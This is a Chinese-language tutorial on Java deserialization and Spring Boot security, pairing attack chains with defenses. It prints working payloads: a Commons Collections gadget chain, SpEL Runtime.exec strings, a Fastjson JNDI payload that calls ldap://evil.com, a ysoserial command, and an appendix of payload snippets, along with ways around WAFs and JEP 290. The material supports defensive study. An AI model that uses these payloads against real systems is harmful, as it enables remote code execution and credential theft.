第一章:Java安全基础与反序列化原理
1.1 Java序列化与反序列化机制
Java 提供了一种对象持久化机制,允许将对象转换为字节序列(序列化),以便存储或传输;之后可以从字节序列中恢复出原始对象(反序列化)。
核心接口:
java.io.Serializable:标记接口,标识类可被序列化。java.io.Externalizable:继承自 Serializable,允许自定义序列化逻辑。ObjectOutputStream/ObjectInputStream:负责序列化和反序列化的核心类。
序列化过程:
java
User user = new User("admin", "123456"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser")); oos.writeObject(user); oos.close();反序列化过程:
java
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser")); User user = (User) ois.readObject(); ois.close();序列化数据格式:
序列化后的字节流包含类描述信息、字段名、字段类型、字段值等元数据。其结构大致如下:
Magic Number (0xACED) + Version
类描述符 (classDesc)
对象数据 (objectData)
1.2 反序列化漏洞成因
反序列化漏洞的根本原因在于:反序列化过程中,从字节流中恢复对象时,会调用某些类的特定方法(如readObject、readResolve、finalize等),如果这些方法中存在危险操作(如反射、命令执行、文件写入等),且攻击者能控制反序列化的输入数据,即可触发任意代码执行。
关键点:
入口类:反序列化时自动执行的方法(
readObject)。利用链:一系列类方法调用,最终导向危险操作(如 Runtime.exec)。
POP链:Property-Oriented Programming,通过对象属性链调用。
第二章:Java原生反序列化漏洞利用链分析
2.1 核心利用链:Commons Collections
Apache Commons Collections 库提供了丰富的集合类,其中的InvokerTransformer、ConstantTransformer、ChainedTransformer等类可以用于构造任意代码执行链。
2.1.1 InvokerTransformer 的威胁
InvokerTransformer实现了Transformer接口,其transform方法可以通过反射调用任意方法:
java
public Object transform(Object input) { // 通过反射调用 input 的指定方法 return input.getClass().getMethod(methodName, paramTypes).invoke(input, args); }如果攻击者能控制input对象,就可以调用任意方法。
2.1.2 经典利用链:TransformedMap
TransformedMap在装饰一个 Map 时,可以对键值进行转换。当反序列化时,如果 Map 中的元素被修改,就会触发transform调用。
利用思路:
构造一个
Transformer链:ConstantTransformer→InvokerTransformer。用
TransformedMap.decorate包装,设置转换器。利用
AnnotationInvocationHandler的readObject方法中会调用setValue,触发transform。
代码示例(简化版):
java
// 构造命令执行链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer); // 使用 AnnotationInvocationHandler 触发 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object handler = ctor.newInstance(Override.class, outerMap); // 序列化后反序列化即触发 serialize(handler); deserialize();2.2 其他常用利用链
| 库名 | 关键类 | 利用链标识 |
|---|---|---|
| Commons Collections 3.2.1 | InvokerTransformer, LazyMap | CC1, CC5, CC6 |
| Commons Collections 4.0 | InvokerTransformer (新增) | CC2, CC3 |
| Commons Beanutils | PropertyUtils, BeanComparator | CB1 |
| Jackson | 支持多种反序列化 Gadget | Jackson 反序列化漏洞 |
| Fastjson | 自动调用 setter/getter | Fastjson 反序列化 RCE |
| Hibernate | 通过TypedValue等触发 | Hibernate 链 |
| Spring AOP | MethodInvocationType等 | Spring 链 |
2.3 高版本 JDK 的限制与绕过
JDK 8u71 之后的改变:
AnnotationInvocationHandler的readObject不再直接调用setValue,导致 CC1 失效。javax.management.BadAttributeValueExpException等新入口点被发掘。
绕过思路:
寻找新的触发点,如
PriorityQueue的readObject+Comparator。使用
TemplatesImpl类加载任意字节码(需要_bytecodes字段)。
2.3.1 TemplatesImpl 链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的getOutputProperties方法会触发newTransformer(),进而加载恶意字节码。
利用步骤:
构造恶意字节码(继承
AbstractTranslet)。设置
TemplatesImpl的_bytecodes字段。通过某个类的
readObject调用getOutputProperties(例如InvokerTransformer或PriorityQueue+BeanComparator)。
2.4 原生反序列化漏洞的防御
禁止反序列化:不接收不可信的序列化数据。
使用白名单机制:
ObjectInputStream重写resolveClass方法,只允许指定类。java
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (!allowedClasses.contains(name)) { throw new InvalidClassException("Unauthorized deserialization", name); } return super.resolveClass(desc); }使用第三方工具:如 Apache Commons IO 的
SerializationUtils配合ValidatingObjectInputStream。升级组件版本:避免使用存在漏洞的版本(如 Commons Collections 3.2.1 → 3.2.2)。
JEP 290:Java 9+ 引入了序列化过滤器(
ObjectInputFilter),可限制反序列化的类。
第三章:Spring Boot 安全攻防
3.1 Spring Boot 特性与安全风险
Spring Boot 因其自动配置、内嵌容器、Actuator 监控等特性,在方便开发的同时也引入了特定安全风险。
常见风险点:
Actuator 端点暴露敏感信息。
反序列化漏洞(尤其是使用 Hessian、Kryo 等 RPC 时)。
表达式注入(SpEL)。
不当的输入验证导致 SQL 注入、XSS。
依赖库漏洞(如 fastjson、log4j2)。
3.2 Spring Boot Actuator 安全
Actuator 提供了大量监控和管理端点,默认配置下可能暴露:
/actuator/env:环境变量、配置信息。/actuator/beans:所有 Bean 信息。/actuator/mappings:URL 映射。/actuator/heapdump:堆转储文件(含内存敏感数据)。
攻击方式:
获取
env中的spring.datasource.password、redis.password。通过
heapdump分析内存提取敏感信息。结合 Jolokia(JMX)实现 RCE。
防护措施:
配置
management.endpoints.web.exposure.exclude=*仅暴露必要端点。使用
management.endpoints.web.base-path改变端点路径。结合 Spring Security 对 Actuator 端点进行认证授权。
生产环境关闭 Actuator 或限制 IP。
3.3 Spring Boot 反序列化漏洞
3.3.1 常见反序列化入口
@RequestBody 接收 Java 对象:默认使用 Jackson 反序列化,若目标类存在危险 setter 或
@JsonCreator,可导致 RCE。使用 Hessian / Kryo RPC:这些协议本身存在反序列化漏洞。
Spring Data Redis:当使用 Redis 缓存 Java 对象时,若配置了 JdkSerializationRedisSerializer,则可能触发反序列化。
HTTP Session 存储:若将 Session 存储到 Redis、JDBC 且使用 Java 序列化,则 Session 中的对象可被利用。
3.3.2 案例分析:Spring Data Redis 反序列化
配置示例:
java
@Bean public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) { RedisTemplate<String, Object> template = new RedisTemplate<>(); template.setConnectionFactory(factory); template.setDefaultSerializer(new JdkSerializationRedisSerializer()); return template; }攻击场景:攻击者能写入 Redis(如通过未授权访问),写入恶意序列化对象,当应用读取时触发 RCE。
防御:
使用
Jackson2JsonRedisSerializer替代 JDK 序列化。对 Redis 进行认证和网络隔离。
3.4 Spring Expression Language (SpEL) 注入
SpEL 常用于注解(如@Value、@PreAuthorize)和模板解析。若用户输入被直接作为 SpEL 表达式解析,可导致 RCE。
危险示例:
java
@Value("#{${user.input}}") private String value;或:
java
public String parse(String expression) { ExpressionParser parser = new SpelExpressionParser(); return parser.parseExpression(expression).getValue().toString(); }利用 Payload:
java
T(java.lang.Runtime).getRuntime().exec("calc.exe")防御:
避免用户输入直接进入 SpEL 解析器。
使用
SimpleEvaluationContext限制表达式功能(限制类型引用、方法调用等)。
3.5 文件上传与目录遍历
Spring Boot 默认的文件上传配置(MultipartFile)可能导致:
上传 webshell(若可解析)。
路径遍历覆盖敏感文件。
防御:
限制上传文件类型(白名单)。
将文件存储在非 Web 目录,通过 UUID 重命名。
使用
FilenameUtils或Path规范化路径,防止../。
3.6 其他常见漏洞
| 漏洞类型 | 触发场景 | 修复建议 |
|---|---|---|
| SQL 注入 | 使用@Query拼接字符串、MyBatis ${} | 使用 #{} 或 JPA 规范,配合参数化查询 |
| Log4j2 JNDI | 日志中输出用户输入(如 User-Agent) | 升级 log4j2 版本,禁用 JNDI |
| Fastjson 反序列化 | 使用 Fastjson 解析 JSON | 升级到最新版,开启AutoType白名单 |
| 敏感数据泄露 | Actuator、Git 信息泄露 | 删除 .git,配置 Actuator 安全 |
第四章:高级攻击技术与绕过
4.1 反序列化绕过 WAF
常见绕过方式:
分块传输:在 HTTP 请求中分块发送序列化数据。
编码绕过:将序列化字节流进行 Base64、Gzip 编码,WAF 无法识别。
分段提交:将恶意序列化数据拆分为多个参数,服务端拼接后反序列化。
4.2 JEP 290 绕过
JEP 290 引入后,大部分 Gadget 链被阻止。但仍存在绕过:
使用未被过滤的类作为入口点(如
java.util.HashSet)。利用
sun.reflect.annotation.AnnotationInvocationHandler(JDK 8u71 前)。利用
java.rmi.registry.Registry等 RMI 类。
4.3 内存马(Memory Shell)
在 Spring Boot 应用中,通过动态注册 Controller、Filter 或 Servlet 实现无文件 webshell。
实现思路:
获取当前应用上下文(
WebApplicationContext)。注册自定义的
Controller或Filter。通过反序列化漏洞触发注册过程。
防御:
定期检查已注册的 Bean。
使用
ManagementEndpoint审计动态注册行为。使用 RASP(运行时应用自我保护)监控关键 API 调用。
第五章:安全编码与防御体系
5.1 输入验证与输出编码
输入验证:对用户输入进行严格校验,使用
@Valid+ Bean Validation。输出编码:在模板(Thymeleaf)中默认开启 HTML 转义,防止 XSS。
5.2 依赖安全
使用 Maven/Gradle 插件
OWASP Dependency-Check定期扫描漏洞。及时升级高危依赖(如 Spring Boot 版本、Log4j、Fastjson)。
5.3 安全配置清单
Actuator:关闭或认证。
Session:使用安全 Cookie(HttpOnly、Secure)。
HTTPS:强制使用 TLS,配置 HSTS。
数据库:使用最小权限账户,连接加密。
文件上传:限制大小、类型,存储位置隔离。
日志:脱敏敏感信息,避免直接输出用户输入。
异常处理:统一处理异常,不返回堆栈信息。
5.4 安全测试与监控
SAST:静态代码分析工具(如 SonarQube、FindSecBugs)。
DAST:动态扫描工具(如 Burp Suite、OWASP ZAP)。
RASP:实时监控反序列化、命令执行等危险行为。
日志监控:收集安全日志,检测异常行为(如多次反序列化失败、敏感端点访问)。
第六章:实战案例分析
6.1 案例一:Spring Boot + Fastjson RCE
环境:
Spring Boot 2.x
Fastjson 1.2.24
触发点:
Controller 接收 JSON,自动使用 Fastjson 解析。
Payload:
json
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://evil.com/Exploit", "autoCommit":true }攻击链:
Fastjson 解析
@type实例化JdbcRowSetImpl。setAutoCommit触发connect,发起 JNDI 查询。LDAP 服务返回恶意对象,在客户端执行任意代码。
修复:升级 Fastjson 至 1.2.83 以上,开启安全模式。
6.2 案例二:Spring Boot Actuator 配置不当
场景:
Actuator 暴露
/actuator/env,且未认证。应用使用
spring.datasource.url连接 MySQL。
攻击步骤:
访问
/actuator/env获取数据库密码。若密码加密,通过
/actuator/env的 POST 方法修改spring.datasource.url为恶意的 MySQL 服务器。利用 MySQL 的 LOAD DATA LOCAL INFILE 读取客户端文件。
修复:
启用 Actuator 安全认证。
禁止动态修改配置(
management.endpoint.env.post.enabled=false)。
6.3 案例三:Thymeleaf 模板注入
场景:
使用 Thymeleaf 作为视图模板,用户可控参数直接传入
@RequestParam并作为视图名。
漏洞代码:
java
@GetMapping("/page") public String page(@RequestParam String name) { return "user/" + name; // 若 name = __${T(java.lang.Runtime).getRuntime().exec('calc')}__::.x }利用:Thymeleaf 解析视图名时,若包含表达式语法,会执行 SpEL。
修复:使用@RequestParam时进行严格校验,或避免动态拼接视图名。
第七章:总结与展望
Java 安全的核心在于对输入数据的信任边界控制。无论是原生反序列化、Spring Boot 配置,还是第三方库的滥用,最终都指向同一问题:不可信数据流入了危险函数。
核心防御思想:
最小权限原则:应用运行权限、数据库权限、网络权限。
深度防御:多层次的防护(WAF → 输入校验 → 安全配置 → RASP)。
持续监控与更新:漏洞库、依赖版本、运行时行为。
未来趋势:
云原生安全:容器化环境下的配置安全、Secret 管理。
API 安全:GraphQL、gRPC 等新协议的安全风险。
AI 辅助安全:利用大模型进行代码审计和漏洞挖掘。
附录:常用 Payload 与工具
A.1 常用反序列化 Payload 生成工具
ysoserial:生成多种 Gadget 链的序列化数据。
bash
java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.ser
marshalsec:用于 JNDI 注入的 RMI/LDAP 服务。
A.2 Spring Boot 安全工具
Spring Boot Actuator 扫描:
actuator-scanner脚本。HeapDump 分析:使用
jhat或 Eclipse MAT 提取敏感信息。
A.3 常用 Payload 片段
SpEL 命令执行:
java
T(java.lang.Runtime).getRuntime().exec("whoami")TemplatesImpl 字节码加载:
java
byte[] bytes = ...; // 恶意类字节码 TemplatesImpl obj = new TemplatesImpl(); setField(obj, "_bytecodes", new byte[][]{bytes}); setField(obj, "_name", "test"); setField(obj, "_tfactory", new TransformerFactoryImpl());注:本文内容仅供安全研究和防御学习使用,请勿用于非法用途。在实际开发中,应遵循安全开发生命周期(SDL),确保应用的安全性。